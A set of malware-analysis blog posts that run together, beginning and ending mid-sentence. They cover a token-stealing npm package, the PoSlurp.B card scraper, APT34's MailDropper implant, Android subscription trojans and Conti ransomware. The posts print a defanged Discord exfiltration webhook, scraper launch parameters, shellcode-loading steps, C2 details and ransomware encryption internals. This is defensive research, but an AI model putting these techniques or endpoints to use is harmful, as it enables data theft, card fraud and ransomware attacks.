malicious package, but fortunately, we retain a copy of all components in a secure archive, so the Sonatype Security Research team was able to quickly analyze the malware. In fact, we got this into our data well before the news broke, so Nexus users are safe! In this Nexus Intelligence Insights post, we share a first look inside “fallguys”. - **Vulnerability identifier:** sonatype-2020-0774 - **Vulnerability type:** Embedded Malicious Code - **Impacted package:** fallguys as formerly present in npm downloads - **CVSS 3.1 Severity Metrics:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - **CVSS3.1 Score:** 10 (Critical) While the “fallguys” package was likely created with malicious intent from the beginning, the package exhibits outright suspicious behavior in version 1.0.6. There are three files found in version 1.0.6. One is a README which touts the malware being a Fall Guys game API to gain some trust from the user, and the other two files include the application manifest (“package.json”) and the main “index.js”. The manifest reveals nothing out of the blue, but in “index.js” we see a whole lot going on: The very first constant “_0x13e5” is a cryptic array containing different strings and locations of multiple “leveldb” files the malware would eventually begin reading. This is all part of the obfuscation process, to jam different strings the application would need into a single array and read from this array. For example, on line 28, the variable assignment obtains a value from this very “_0x13e5” array at an obfuscated subscript address “_0xe64ed6” (15093462). There is also mention of strings such as “username”, “email”, “phone”, “Token grabber”, etc., but their purpose doesn’t become immediately obvious to an analyst. On line 35, we see the “webhook” variable containing the URL to the attacker’s Discord app which is where data read from the “leveldb” files we list above would be posted to: ```javascript var webhook = 'https://discordapp[.]com/api/webhooks/746189410042904617/RQVJEOhzAblK5FlkQ-WIXkWfKfg5BFCdsjTeVueAIrVLaQMTvHgbuhuqFafPZYHfwnEq' ``` At the time of writing, our tests confirm the webhook endpoint is no longer responsive and was likely brought down by Discord. The “send” function also has a nested JSON object which appears to contain the profile metadata with bits such as the author name, avatar thumbnail, username, email, etc. ## Mostly Your Browser Data, Nothing Else In an age where adversaries find innovative ways to pollute the software supply chain via attacks such as Octopus Scanner, or leverage typosquatting techniques to mine Bitcoins, it is certainly odd for malware to exclusively target browser data stores and Discord files without touching more sensitive areas of a system. “The malicious package appears to have been performing some sort of reconnaissance, gathering data on victims, and trying to assess what sites the infected developers were accessing, before delivering more targeted code via an update to the package later down the road,” states the ZDNet report. Thankfully, this malware was caught early and has only been downloaded around 300 times. However, we may not always be so lucky. ## Our New Normal According to our 2020 State of the Software Supply Chain report, next-generation software supply chain “attacks” are far more sinister because bad actors are no longer waiting for public vulnerability disclosures. Instead, they are taking the initiative and actively injecting malicious code into open source projects that feed the global supply chain. By shifting their focus “upstream,” such as with open-source malware in “fallguys,” bad actors can infect a single component, which will then be distributed “downstream” using legitimate software workflows and update mechanisms. Our 2020 report also shows that this is happening at a rapidly increased rate. In fact, there was a 430% increase in next-generation software supply chain attacks over the past year. Keeping this in mind, it is virtually impossible to manually chase and keep track of such components. Sonatype’s world-class security research data, combined with our automated malware detection technology safeguards your developers, customers, and software supply chain from infections like these. DevOps-native organizations with the ability to continuously deploy software releases have an automation advantage that allows them to stay one step ahead of malicious intent. Sonatype Nexus customers were notified of sonatype-2020-0774 within hours of the discovery, and their development teams automatically received instructions on how to remediate the risk. Their browsing history and gaming IMs are safe. If you're not a Sonatype customer and want to find out if your code is vulnerable, you can use Sonatype's free Nexus Vulnerability Scanner to find out quickly. Tags: vulnerabilities, featured, Nexus Intelligence Insights --- **Written by Ax Sharma** Ax is a Security Researcher at Sonatype and Engineer who holds a passion for perpetual learning. His works and expert analyses have frequently been featured by leading media outlets. Ax's expertise lies in security vulnerability research, reverse engineering, and software development. In his spare time, he loves exploiting vulnerabilities ethically and educating a wide range of audiences.
# Fuel Pumps II – PoSlurp.B In a previous post, this blog examined malware used in a financially-motivated incident at a fuel dispensing company, as disclosed in a security bulletin by VISA. The bulletin detailed a second incident that is likely attributable to an additional threat actor. Specifically, VISA identified C2 infrastructure, a filename, and additional TTPs that allegedly align with FIN8 activity, as described in public Gigamon and Root9b reporting. These TTPs suggest that the threat actors used a memory scraper referred to as PoSlurp.B in public reporting to scrape customer credit card data from a targeted device. This post examines a PoSlurp.B file identified (through its shellcode loader) by Twitter user @just_windex to provide additional details regarding the malware’s functionality that were not previously disclosed in open source. This analysis focuses on the final payload of the shellcode loader, although additional information and advice for bringing this file into a debuggable state is available at the end of the post. Unlike the previously analyzed file (FrameworkPoS/GratefulPOS), which indiscriminately scraped all processes on a device, PoSlurp.B is designed to scrape the memory of an attacker-specified process. ## Analysis **Shellcode Hash:** - MD5: b54283d17b7c13329943168b898ff07e - SHA1: 67a06663b0c8a885d444b8bedb8261b28f050a39 - SHA256: e78d9a6cd94bd8ec3095a0ecbbc9c4add78d3281d2bf46497164d0406c346395 **Dumped PoSlurp.B Payload (Uploaded to VT for this blog, not from ITW)** - MD5: 3d5ae56c6746e0b3ed5b15124264a0d2 - SHA1: f92c886f85928041148d0dcd7c4fb9623b157f94 - SHA256: d9e442cd69d1f656a3e8cfd0792333a8f0108193e052a4ee2d7f9138a4b253b2 ### Initial Checks and Exit Conditions PoSlurp.B is a 64-bit executable that is expected to be run in memory. When executed, the malware performs two conditional checks: - The malware must have been loaded into memory. - The malware must identify an environment variable – “PRMS” – that contains data to direct the workflow. A Gigamon report previously described the need for this environment variable and its presence in a PowerShell loader. While this loader is not currently available on VirusTotal, information regarding reconstructing one is available at the end of this blog. The malware uses a stack string to assemble this environment variable name, likely to limit static detection of the string. Following these checks, the malware moves to a validation and parsing function to extract information from this environment variable. ### PRMS Environment Variable Check The parsing function is designed to extract the contents of the environment variable. The function contains nine different references to the ExitProcess Windows API call. Combined with the previous function, the following exit conditions for the malware have been identified: - The malware determines it wasn’t injected or started properly. - The malware can’t locate the “PRMS” environment variable. - The environment variable doesn’t contain “t” as the first letter of a value in a workflow-specific position. - When run in injection mode, the malware is unable to identify a process specified for injection. - An invalid value is in the workflow parameter location (i.e. not “i”, “s”, or “p”). - An incorrect number of arguments have been specified. - The malware runs successfully. While some of these appear to be anti-analysis checks, this blog assesses that others may be for workflow validation and to prevent errors, crashing, or unexpected events. In particular, there are multiple checks regarding the correct number of parameters being passed to the malware that eventually become redundant, as a final check requires a larger number of parameters than an initial check. There are additional exit conditions that are not yet fully understood. ### Environment Variable and Three Workflows The environment variable is expected to contain multiple values, delimited by a “|” character. The first character specifies which workflow to take, and can be the letter p, s, or i. - “p” scrapes a specified process for credit card data. - “i” injects the malware into a process and creates a thread at the scraping function used by p. - “s” injects the malware into a suspended svchost process and creates a thread at the same scraping function. The malware ultimately appears to expect more arguments than are necessary in certain cases. For example, if the environment variable were set to: ``` p|notepad.exe|t|[value]|[value] ``` The first three values would be sufficient to validate many of the checks and scrape the “notepad.exe” process, although something would need to fill the remaining values to successfully run. It is possible that these additional values may perform further validation checks, which were bypassed for the purpose of this analysis. The malware also treats these arguments differently depending on the mode selected. For example, in “p” and “s” mode the first argument specified after “p” is the process to be scraped. In “i” mode, the first argument after “i” is the process to be injected, whereas the next argument is the process to be scraped. Thus, using “i” mode would require a value such as: ``` i|injection_target.exe|process_to_be_scraped.exe|t|[unknown]|[unknown] ``` ### Injection Workflow (“i”) The injection workflow contains two relatively simple functions. **Function One** - The malware uses the CreateToolhelp32Snapshot and Process32First/Next APIs to list running processes. - The malware compares each process name to the first process argument in the environment variable. - If no match is found, the malware returns and exits. **Function Two** - The malware opens a handle to the targeted process. - The malware uses the VirtualAllocEx and WriteProcessMemory to write itself to the targeted process. - The malware creates a thread at the location of the main scraping loop within this injected process. ### Svchost Workflow (s) The svchost workflow also contains two functions. First, the malware uses stack strings to assemble “svchost.exe” (similar to the “PRMS” string creation), likely to avoid static detection of this value. The malware then identifies the system directory via API call and concatenates the svchost.exe process name to this string and spawns this process in a suspended state. Second, the malware uses a form of process injection similar to a method described in open source reporting as the “Zberp” method. The malware uses CreateFileMappingA, MapViewOfFile, and NtMapViewOfSection to inject itself into the suspended svchost process. Finally, the malware uses NtQueApcThread and ResumeThread to run the main scraping loop. ### Main Scraping Loop The main scraping loop, which is either called directly through the “p” workflow or invoked through the other workflows as a created thread, represents the core of the malware’s functionality. Similar to the “i” routine, the main scraping loop calls a function that enumerates running processes to identify a match with a specified target process. If a process name is found that matches the target name, the malware calls the function to read the process and then subsequently calls the actual data parsing routine. The malware looks for data formatted similarly to magnetic strip information. If found, the malware calls an additional function to encode and write this data to a file located at “c:\users\public\music\wmsetup.tmp” and then repeats the loop. Once the scraping is completed (or if the scraping fails), the malware can perform two additional cleanup functions before exiting. First, the malware deletes a registry entry located at Software\Microsoft\CurrentVersion\Run named PSMon. The malware can also delete a key named ODBC2 under Software\*. The purpose of these two keys is currently unknown. This blog speculates that both may be used as components of persistence mechanisms. ### Additional Thoughts While there are still some information gaps (particularly regarding the installer for this malware), this point of sale scraper represents a very different approach from the previously examined incident. Whereas that file scraped the memory of every process on a system, PoSlurp.B is designed for a more targeted approach. This suggests that the attackers conducted sufficient reconnaissance within the environment to determine where credit card data was likely to be held. ### Analysis Tips Analyzing this file proved particularly challenging, given the high number of conditional exits and the need for the malware to successfully parse an environment variable. Ultimately, I can recommend the following approach: - The hash 82953a819daff3a81e678c75ce7736b3 contains a PowerShell byte array loader that I found during a search for other FIN8 malware. - Take the shellcode, open it in a hex editor (e.g. HxD), and copy the hex into a text editor (Notepad++). - Replace the spaces from the hex bytes with a “,0x”. - Add a leading “0x” to the first bytes. - Add an additional two bytes, 0xEB and 0xFE, to the start of the file. This is an infinite loop. - Replace the payload bytes in the hash above with these bytes. - Add the environment variable. - Run the PowerShell file. - In x64dbg, attach to the PowerShell file. - Resume the program. - Look in the memory map for the executable section of memory. - Set a breakpoint at this section. - NOP the infinite jump instruction. - Begin debugging. The idea here is to get PowerShell to load the shellcode, but to do so in a way in which it doesn’t execute. EB FE is a shorthand for an infinite loop in which the malware jumps to the jumping instruction. The malware will run this indefinitely until you manually place a breakpoint there. Programs such as jmp2it will do this automatically, but I ran into issues attaching to it in a 64-bit debugger. A few other creative approaches came up short. For simply statically analyzing the shellcode and its subsequent payload, I’d recommend Adam’s approach. It looks like a lot of steps, but it only takes a few minutes, and you can build a 64-bit executable that’s pretty easy to directly debug.
# APT34 (aka OilRig, aka Helix Kitten) Attacks Lebanon Government Entities with MailDropper Implants Very recently, another custom malicious implant related to APT34 (aka OilRig) has been uploaded to a major malware analysis platform. Since 2014, when FireEye spotted this hacking group, APT34 is well-known for conducting cyber operations primarily in the Middle East, mainly targeting financial, government, energy, chemical, and telecommunications sectors. In this case, the threat group probably compromised a Microsoft Exchange account of a sensitive entity related to the Lebanese government and used the mail server as command-and-control for the implant. All the traffic between the compromised machine and the C2 is conveyed through legitimate email messages, making the implant identification harder. The victim seems to be a Lebanese government entity, so it’s possible to guess that the APT group exploited the trust towards the first entity to compromise others and to hide its malicious operations. ## Actor Profile APT34 is believed to be a threat actor close to the Iranian government, considering that it conducts operations aligned with the interests of this country. Over time, this group has been observed to carry out supply chain attacks, leveraging the trust relationship between their primary targets and other organizations. Many malware families have also been associated with this group, including ISMAgent, ISMDoor, ISMInjector, TwoFace, and, at the time of this analysis, the MailDropper one. ## Behavior Analysis The malware is delivered through spear-phishing email messages. The infection starts with a macro-armed Excel document. The macro contains a base64 encoded executable payload, copied as “monitor.exe,” which will be deployed in a newly created folder named “.Monitor” under “C:\Users\Public.” Through the usage of Windows Task Scheduler, “monitor.exe” is added to a new task named “SystemErrorReporter,” whose execution is scheduled every minute. Analyzing the resources embedded into “monitor.exe,” it is possible to discover some further information, such as the credentials used to access a Microsoft Exchange server hosted in Lebanon. For privacy reasons, the primary communication server will not be publicly released. We guess the attackers have compromised the account “[email protected],” belonging to the local domain of the targeted institution, and used it to perform malicious operations. In this specific case, access to the mail server is used by the malware to get a list of commands to be executed through retrieving and parsing a CMD list. So, it acts like a command-and-control server. ## Retrieving and Parsing CMDs If the mail server is down or denies access, the malware uses a backup URL, “hxxp://godoycrus.com,” to get the commands list. The malware is capable of performing the following primary operations: - Arbitrary commands execution - Download and upload of files - Data exfiltration The following is an extraction of the commands handling code snippet: Interesting is the way through which the malware retrieves the commands from the mail server. It accesses the Inbox folder and searches for emails containing a specific subject: “Resume7AKF1PMAVAHI7SYK.” If one or more emails are found, the malware tries to extract the content of the attachment files, which correspond to a Base64-encoded command that should be executed. Once the attachments are inspected, the current email is definitively deleted using the “HardDelete” flag. In this way, the email message does not even appear in the trash folder. The retrieved commands are executed using the “ExecAllCmds” method, and the result is sent to the C2 through the “SendResult” method. If the malware is using the Exchange server as C2, the output of the commands execution is sent as an email message. The malware uses a specific pattern to build the email: its subject is built starting from the string “Great! 7AKF1PMAVAHI7SYK,” appending the current date to it. The email body contains only the string “This is our resume!” (showing with a syntax error), and the attachment is a “.txt” file named “resume.txt,” which contains the encoded information returned by the commands execution. All the data exchanged between the implant and the server is encrypted using an AES+RSA schema. The data is first ciphered using the AES algorithm with an auto-generated key, then the key is encrypted using RSA and prepended to the data that will be sent to the server. ## Persistence The malware grants its persistence on the victim machine using the Windows Task Scheduler. It creates a new task pointing to “C:\Users\Public\.Monitor\monitor.exe,” starting the malicious payload every minute. ## Attribution The analyzed sample has some similarities with DNSpionage, the remote administrative tool developed by APT34 and analyzed by Talos Group in 2019. We can summarize some characteristics in common: - Both the implant targeted Lebanon. - In both cases, the initial document is an Excel file containing a macro: in DNSpionage, the content of the document is the only string “haha you are donkey,” but in the last case, it is totally empty. - Both samples use a dot in the created folder name, which is “.msonedrive” in DNSpionage and “.Monitor” in the last sample. - Both campaigns employ .NET payload. ## Telemetry At the time of this analysis, this implant seems to be used exclusively in the Lebanese region, confirming the targeted nature of the implant. ## Indicators of Compromise - md5: b08dff2a95426a0e32731ef337eab542 - sha1: c53d785917c1da4d40cd9fac1455d096faa4b672 - sha256: ebae23be2e24139245cc32ceda4b05c77ba393442482109cc69a6cecc6ad1393 - Domain name: godoycrus[.]com
# Mobile Subscription Trojans and Their Little Tricks **Authors** Igor Golovin Billing fraud is one of the most common sources of income for cybercriminals. There are currently a number of known mobile Trojans specializing in secretly subscribing users to paid services. They usually pay for legitimate services in a user’s name, and scammers take a cut from the money billed. These types of subscription fees tend to be fleeced from the phone balance. A user who is genuinely interested in subscribing to a service normally needs to visit the content provider’s website and click “subscribe.” As Trojan apps are capable of simulating a click on this icon, service providers sometimes require a confirmation code sent in a text message to complete the subscription. In other cases, marketplaces try to make it harder to automate subscription by using a CAPTCHA, while others analyze traffic and block subscription scams using anti-fraud solutions. Yet there are some types of malware which can bypass at least some of these protections. ## Jocker: Text Message Thief in Google Play Trojans from the Trojan.AndroidOS.Jocker family can intercept codes sent in text messages and bypass anti-fraud solutions. They’re usually spread on Google Play, where scammers download legitimate apps from the store, add malicious code to them, and re-upload them to the store under a different name. The trojanized apps fulfill their original purposes in most cases, and the user won’t suspect they are a source of threats. To bypass vetting on Google Play, the Trojan monitors whether it’s gone live. The malicious payload will remain dormant while the app is stalled at the vetting stage. ### Checking Availability on Google Play While trojanized apps are removed from the store on a daily basis, it’s constantly flooded by new ones to take their place. The screenshots below show examples of apps for messaging, monitoring blood pressure, and document scanning using your phone’s camera, all of which were still available on Google Play at the end of February. ### Jocker Functions Once the infected app is installed on your device, it requests access to text messages if its legitimate functionality requires it — for example, if it poses itself as a messaging app. Otherwise, it requests access to notifications. Pop-up notifications about messages received also contain the text of these messages, so access to notifications allows the malware to intercept the confirmation codes to complete the subscription. Once launched, the malware downloads and launches a new file which inherits permissions from the infected app. The earliest versions of the Trojan downloaded the subscription app straight away. But presently Jocker is a staged downloader. The scammers avoid detection by using different options for the initial payload download and launch. The entire process can involve a staged download of four files to deliver the final payload to the infected device, where only the last file is responsible for the main aim of subscribing the user. The main payload basically follows a standard scheme: it receives a URL of the subscription page from the C&C server and opens it in an invisible window. Once the page is loaded, the Trojan injects it with scripts which request a subscription and confirm it using an intercepted code from the text message. Main “SDK” also has code for bypassing anti-fraud systems. For example, the malware can modify the X-Requested-With header in an HTTP request, which can be used to identify the particular app requesting a subscription. Jocker can also block or substitute anti-fraud scripts. ### Geography of Jocker Attacks From January 2021 to March 2022, Jocker most frequently attacked users in Saudi Arabia (21.20%). Poland came second (8.98%) with Germany in third place (6.01%). The other countries in the TOP 10 where most users encountering Jocker were located were Malaysia (5.71%), the United Arab Emirates (5.50%), Switzerland (5.10%), South Africa (4.12%), Austria (3.96%), Russia (3.53%), and China (2.91%). ## MobOk Skirts CAPTCHA Another subscription Trojan identified as Trojan.AndroidOS.MobOk was also first detected in an infected app on Google Play. However, this malware is now mainly spread as the payload of another Trojan called Triada, which is present in preinstalled apps (usually system apps) on certain smartphone models. It’s also built into popular apps, such as the APKPure app store and a widely used modification of WhatsApp Messenger. Trojan.AndroidOS.MobOk works on a principle similar to the malware described in the previous section. A subscription page is opened in an invisible window and a confirmation code stolen from a text message is stealthily entered there. If the malware is downloaded by Triada, it inherits Triada’s access to text messages, but if MobOk is spread by itself, it will request access to notifications, similarly to Jocker. MobOk differs from Jocker in its additional capability of bypassing CAPTCHA. The Trojan deciphers the code shown on the image by sending it to a special service. ### Geography of MobOk Attacks The country where users encountered MobOk Trojans most frequently from January 2021 to March 2022 was Russia (31.01%). Second place is occupied by India (11.17%), closely followed by Indonesia (11.02%). Fourth and fifth place were taken by Ukraine (8.31%) and Algeria (5.28%). The other countries in the TOP 10 where the Trojan was most active were Mexico (2.62%), Brazil (1.98%), Germany (1.63%), Turkey (1.43%), and Malaysia (1.27%). ## Vesub — Beware of Fake Apps A malware called Trojan.AndroidOS.Vesub is spread through unofficial sources and imitates popular games and apps like GameBeyond, Tubemate, Minecraft, GTA5, and Vidmate. Most of the apps completely lack any legitimate functionality. They begin subscribing straight after they’re launched, while the user sees a loading window. However, there are some examples such as a fake GameBeyond app where the detected malware was accompanied by a random set of working games. The subscription process used by Vesub is similar to the previous examples: the malware opens an invisible window, requests a subscription, and enters a code received in a text message. ### Geography of Vesub Attacks Two out of every five users who encountered Vesub were in Egypt (40.27%). The family was also active in Thailand (25.88%) and Malaysia (15.85%). ## GriftHorse.l: Read the Small Text All of the apps described above subscribe users to legitimate third-party services, even if the user doesn’t need them. However, there are other forms of malware which subscribe users to the app authors’ own “service.” You can end up subscribing to one of these services by simply not reading the user agreement carefully enough. For example, apps which have recently been spread intensively on Google Play offer to tailor personal weight-loss plans for a token fee. Once launched, the app asks you to fill out a questionnaire. A page then opens to inform the user that a personal plan is being generated. Then all you need to do is pay for the service and receive your weight-loss plan, which the scammers promise to send to your email address. If you scroll down to the bottom of the page, you’ll see that the “service” charges a subscription fee with automatic billing. This means money will be deducted from the user’s bank account on a regular basis, needing no repeat confirmation from the user. The fact that the app subscribes users to automatic billing is confirmed in the reviews section on Google Play. Moreover, many users complain they were unable to cancel the subscription directly through the actual app, while others mention they never received a weight-loss plan after paying the subscription fee. Kaspersky solutions detect these apps as Trojan.AndroidOS.GriftHorse.l. Our researchers also detected websites that deploy a similar subscription scheme. These websites offered access to a wider pool of materials, such as training courses on office suites or online marketplace trading. ### Geography of GriftHorse.l Attacks We observed the activity of Trojan GriftHorse.l from 25 January 2022. Kaspersky solutions detected most instances of the Trojan on devices owned by users in Russia (81.37%). The country which came in second for the most users affected was Saudi Arabia (6.07%), with Egypt (1.91%) in third place. ## GriftHorse.ae: Don’t Give Out Your Number! The Trojan detected as Trojan.AndroidOS.GriftHorse.ae may belong to the same family as GriftHorse.l, but it behaves in a completely different way. The malware poses as apps for recovering deleted files, editing photos and videos, blinking the flash for incoming calls, navigation, document scanning, translation, and so on. Yet all these apps can do in practice is request a phone number under the pretense of a login, although clicking “login” will actually subscribe the user. This is the simplest form of subscription — it bills the cell phone account and all it needs to complete the process is the victim’s phone number. It remains unclear what exactly does the GriftHorse.ae Trojan subscribe the user to. Like its relative, GriftHorse.ae is also spread through Google Play. Scammers upload a great number of similar apps to the marketplace in the hope that at least some of them will be available to users for a certain amount of time. ### Geography of GriftHorse.ae Attacks Our radars picked up the GriftHorse.ae Trojan for the first time on 10 March 2022. Among the users who fell victim to attacks in less than a month, 43.57% were located in Russia, 22.95% in Saudi Arabia, and 6.14% in Oman. Forth and fifth place were taken by users in Poland (4.39%) and Belarus (3.22%). ## General Statistics on Trojan Subscribers From January 2021 to March 2022, the most active of the subscription Trojans covered in this article was MobOk. It was encountered by 74.09% of the Kaspersky mobile solution users who were attacked by the malware mentioned in this piece. Joker Trojans were blocked on 17.16% of user devices, while the least active Trojans were from the families Vesub (3.57%) and GriftHorse (3.53% of users encountered GriftHorse.l and 2.09% encountered GriftHorse.ae). It’s still worth noting that GriftHorse is a new family and it’s only beginning to pick up momentum. ### Geography of Subscription Trojan Attacks The majority of users who encountered subscription Trojans were located in Russia (27.32%), India (8.43%), Indonesia (8.18%), Ukraine (6.25%), and Saudi Arabia (5.01%). ## Conclusion Subscription Trojans can bypass bot detection on websites for paid services, and sometimes they subscribe users to scammers’ own non-existent services. To avoid unwanted subscriptions, avoid installing apps from unofficial sources, which is the most frequent source of malware. You shouldn’t let your guard down when installing apps from Google Play either: read the reviews, read up on the developer, the terms of use, and payment. For messaging, choose a well-known app with positive reviews. Even if you trust an app, you should avoid granting it too many permissions. Only allow access to notifications for apps that need it to perform their intended purposes — for example, to transfer notifications to wearable devices. Apps for something like themed wallpapers or photo editing don’t need access to your notifications. ## Indicators of Compromise (MD5) **Trojan.AndroidOS.Joker** d3d8dbb9a4dffc1e7007b771e09b5b38 ab168c7fbfa2f436d7deb90eb5649273 77a6c1c2f782c699d1e73a940f36a527 34c60a3034635cc19c110a14dcfd2436 8cccfb60aeeb726916f4937c0a702e6a **Trojan.AndroidOS.MobOk** b73d2205a2062a51727e22e25a168cef **Trojan.AndroidOS.Vesub** 1b833cc7880d5f1986d53692b8a05e3c 2cfbbc61a71d38fc83c50dc18d569b77 6e07381626d69f4710d7979dff7bff2a 3395101b243993f4969c347e5feb8f65 aebe1da0134b40fdcfc3adea18a50b8a **Trojan.AndroidOS.GriftHorse.l** 07d6d7a15b94a6697db66364f1e79a85 11a1446bd6265b66e13f097ecfd195d8 **Trojan.AndroidOS.GriftHorse.ae** 1b987b970d1274e44a66769c4a453462 1cefe439d7c533cf8ed689dd41ab35c4 1d264d1eff33cff04dd04680db13a7d0 1eb9c7af96fcefb9e6070ee8c1720aa3
# Conti Ransomware v2 **Chuong Dong** **December 15, 2020** ## Overview This is my full analysis for the Conti Ransomware version 2. Over the last few months, I have seen quite a few companies getting hit by this ransomware, so it’s been interesting analyzing and figuring out how it works. As one of the newer ransomware families, Conti utilizes multi-threading features on Windows to encrypt files on machines to the fullest extent, making itself a lot faster than most ransomware out there. From the analysis, it’s clear that Conti is designed to target and encrypt business environments that use SMB for file sharing and other services. Similar to the Sodinokibi family, Conti has the ability to scan existing ports and SMB shares on the network to spread its encryption, which can be a lot more impactful since it is not limited to the local machine. By the time this blog post comes out, researchers have found newer samples of the version 3. Even though this is an old sample, I still think it’s beneficial to provide the community with a deeper understanding of this malware. ## IOCS Conti Ransomware version 2 comes in the form of a 32-bit PE file (either .exe or .dll). **MD5:** 0a49ed1c5419bb9752821d856f7ce4ff **SHA256:** 03b9c7a3b73f15dfc2dcb0b74f3e971fdda7d1d1e2010c6d1861043f90a2fecd ### Sample: - Unpacked sample: 03b9c7a3b73f15dfc2dcb0b74f3e971fdda7d1d1e2010c6d1861043f90a2fecd ## Ransom Note The ID appended at the end is actually hard-coded, so it’s not a victim’s ID. This ID is most likely just the ID of this particular Conti sample. Below is the HTTPS version of the website for recovery service. ## Dependencies The ransomware only has Kernel32.dll, User32.dll, and WS2_32.dll as visible imported DLLs. However, it does dynamically resolve a lot of DLLs through decrypting stack strings and calling LoadLibrary. Here is the full list of the imported DLLs: - Kernel32.dll - Ntdll.dll - Ole32.dll - Shell32.dll - Ws2_32.dll - Shlwapi.dll - Advapi32.dll - Iphlpapi.dll - Rstrtmgr.dll - Netapi32.dll - OleAut32.dll - User32.dll ## PE Layout The unpacked version of the malware is around 208 KB in size, which consists of the .text, .rdata, .data, .rsrc, and .reloc sections. One of the main reasons why this executable is so big is because of the obfuscation method the developer uses. Instead of implementing a single string decryption function, they used one decrypting for loop for each encrypted string, which greatly increased the amount of raw code. ## Code Analysis ### String Decryption As mentioned above, Conti uses the method of building up a stack “string” that is encrypted and proceeds to decrypt it with a for loop. Every string is encrypted differently, so the for loop changes slightly for each of them. Most of the decryption loops can be simplified to this single form where buffer is the encrypted string, a and b are positive numbers, and c is either 1 or -1. ```python for i in range(len(buffer)): buffer[i] = (a * (c * (buffer[i] - b)) % 127 + 127) % 127 ``` ### Dynamically Resolve API When resolving APIs, Conti calls a particular function that takes in an integer representing the DLL to find, an API hash value, and an offset into the API buffer. The DLL name is retrieved from the given integer through a switch statement. After getting the DLL name, Conti will manually locate the export directory of that DLL, loop through each API, hash the name, and compare it with the hash from the parameter. After finding the correct API with the right hash value, it will proceed to find the address to that function. For the hashing algorithm, the constant 0x5BD1E995 gives this away that this is Murmur Hash. After finding the address of the API, the malware adds that into its API array at the provided offset. This helps reduce the time to look up an API’s address if the malware has already resolved it before. ### Run-once Mutex Conti attempts to decrypt the string “jkbmusop9iqkamvcrewuyy777” and use that as the name of a Mutex object. Then, it checks if there is an instance of that Mutex running already. If there is, it will just wait until that thread exits before exiting. ### Command-line Arguments Conti can only be run with command-line arguments, so it must be launched by a loader. Upon execution, it will process these arguments and behave accordingly. | CMD Args | Functionality | |-------------------|---------------------------------------------------------------| | -m local | Encrypting the local machine’s hard drive with multiple threads | | -m net | Encrypting network shares via SMB with multiple threads | | -m all | Encrypting both locally and on the network with multiple threads | | -p [directory] | Encrypt a specific directory locally with 1 thread | | -size [chunk mode]| Large encryption chunk mode | | -log [file name] | Logging mode. Log everything to the file with the given name | | backups | Unimplemented for some reason | ### Encryption Despite having 3 different encrypting schemes, the main mechanism is relatively the same. First, it calls a function to populate a structure used to initialize information about the thread/threads of that encrypting scheme. This information includes the number of threads to spawn and a thread buffer that is used to store thread HANDLE objects. Next, it calls this function to launch child threads. It checks the thread struct to see if the encrypting flag is set. If it is, loop from 0 to thread_count - 1 and spawn a thread to encrypt each time. It also adds these threads into the thread buffer for easy clean-up later. ### Multi-threading Besides when the argument -p is provided, multi-threading is involved for every other scheme of encryption. Conti will call GetNativeSystemInfo to retrieve information about the running system. If the argument “-m all” is provided, the number of threads to spawn will be double the amount of processors because it needs to encrypt both locally and on the network. For everything else, the number of threads to spawn is the same as the number of processors. Being able to thread its encryption, Conti utilizes all of the CPU threads available to simultaneously go through and encrypt the file system with incredible speed. The most interesting information in the thread structure is the string of the path to be encrypted. After launching the threads, Conti’s main program will continuously traverse the file system and provide the thread structure with directory names. All of these threads will check this information and encrypt the updated path immediately. Because the workload is divided efficiently, Conti is able to speed up its traversing and encryption to a great extent. ### Encrypting Locally #### RSA Public Key First, each thread will call CryptAcquireContextA with the cryptographic provider type PROV_RSA_AES to retrieve a handle of a CSP for RSA encryption. Using that CSP, it will call CryptImportKey to import from the hard-coded RSA public key. Next, it will enter an infinite loop to wait for the main thread to add a target drive path or to send a stop signal. This is accomplished solely through the shared thread struct that was created before launching these threads. Because the struct is shared between multiple threads, calls to EnterCriticalSection and LeaveCriticalSection are critical to maintain a thread-safe environment during encryption. In the main encrypting function, it will iteratively call FindFirstFile on the directory name to search for all files and folders inside, avoiding the two current path and parent path names “.” and ”..” which can cause an infinite loop if processed. #### Directory Check If the file being checked is a directory, it will check to see if the directory name is valid or not. If it is, then the child thread will add that path to the thread struct for itself or any other available thread to encrypt. These are the directory names that Conti will avoid encrypting: tmp, winnt, temp, thumb, $Recycle.Bin, $RECYCLE.BIN, System Volume Information, Boot, Windows, Trend Micro #### Normal File Check If the file is just a normal file, Conti will check to see if the file name is valid before proceeding to encrypt it. Conti will avoid encrypting any file with these names or extensions: CONTI_LOG.txt, readme.txt, .msi, .sys, .lnk, .dll, .exe #### Normal File Encryption First, Conti populates a structure in memory. I call this structure CONTI_STRUCT. ```c struct CONTI_STRUCT { char *file_name; HANDLE hFile; LARGE_INTEGER file_size; int CHACHA8_const[4]; int CHACHA8_256_KEY[8]; int block_counter; int block_counter_ptr; int CHACHA8_none[2]; int random1[2]; int random2[8]; BYTE encrypted_key[524]; // encrypted ChaCha8 key }; ``` Conti will call CryptGenRandom to generate 2 different random buffers and put them into the CONTI_STRUCT. Then, it populates the ChaCha8 constants which is just “expand 32-byte k” in hex form. The first buffer is 256 bits, which is later used as the ChaCha8 encrypting key, and the second one is 64 bits, which is used as the ChaCha8 nonce. Next, it will copy the key and nonce into the buffer at the end of the struct and encrypt it using the RSA key imported earlier. This is to ensure that the ChaCha key cannot be recovered without the RSA private key. Conti has 3 file categories for encryption - small, medium, and large files. Small files are marked with the value of 0x24, medium with 0x26, and large with 0x25. Before encryption, Conti will write the encrypted ChaCha8 key from CONTI_STRUCT, this mark, and the file size to the end of the to-be-encrypted file. 1. **Small File** Small files are files that are potentially less than 1MB in size. Conti looks for all files that are smaller than 1MB or by checking for specific extensions. Encrypting small files is straightforward. Since these files are small enough, it typically does not require to loop and encrypt more than once. The file content is read into a buffer and encrypted directly. Just to be safe, the malware author did limit the maximum buffer size to read to 5MB, but it’s unlikely that the files going into this function are that big. 2. **Medium File** Medium files are files that are between 1MB to 5MB. For these files, Conti only encrypts the first 1 MB of the files. 3. **Large File** Large files are files that are larger than 5MB. Conti specifically looks for these by checking for specific extensions. The large file encrypting function processes the -size chunk mode argument and uses it in a switch statement to determine the encrypting offset and the encrypting size. The mechanism of encrypting can be simplified to this. Basically, Conti will encrypt `encrypt_length` amount of bytes and skip the next `encrypt_offset` before encrypting again until it reaches the end of the file. This makes encryption quicker for large files because it does not have to encrypt everything. 4. **ChaCha8 Encryption** The ChaCha8 implementation is pretty straightforward. The 256-byte key that was randomly generated earlier is then used as the encrypting key. In order to be able to decrypt the files, we need to know the random key that Conti uses for each file, and the only way to retrieve it is through the encrypted key buffer at the 